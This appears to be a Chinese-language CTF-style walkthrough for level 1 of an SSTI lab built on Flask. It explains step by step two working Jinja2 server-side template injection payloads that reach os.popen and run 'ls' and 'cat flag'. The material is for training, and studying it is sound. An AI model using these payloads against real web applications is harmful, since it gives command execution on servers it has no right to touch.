SSTI-labs
flask
Level 1(no waf)
方法一:
1 | {{lipsum.__globals__.os.popen('ls').read()}} |
lipsum:Jinja2 的内置函数,通常用于生成随机文本.__globals__:访问函数的全局命名空间(包含所有全局变量).os:从全局变量中获取os模块.popen('ls'):执行操作系统命令ls(列出目录内容).read():读取命令执行的结果
方法二:
1 | {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%} |
- 遍历所有子类
1 | {% for i in ''.__class__.__base__.__subclasses__() %} |
''.__class__→ 获取空字符串的类(str).__base__→ 获取基类(object).__subclasses__()→ 获取所有子类(Python 中所有类的列表)
- 寻找特定类
1 | {% if i.__name__ == '_wrap_close' %} |
寻找名为 _wrap_close 的类,这个类通常包含有用的全局变量。
- 执行命令并读取结果
1 | {% print i.__init__.__globals__['popen']('cat flag').read() %} |
i.__init__.__globals__→ 访问类的初始化方法的全局命名空间['popen']→ 获取os.popen函数('cat flag')→ 执行cat flag命令(读取 flag 文件).read()→ 读取命令输出并显示
1 | {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%} |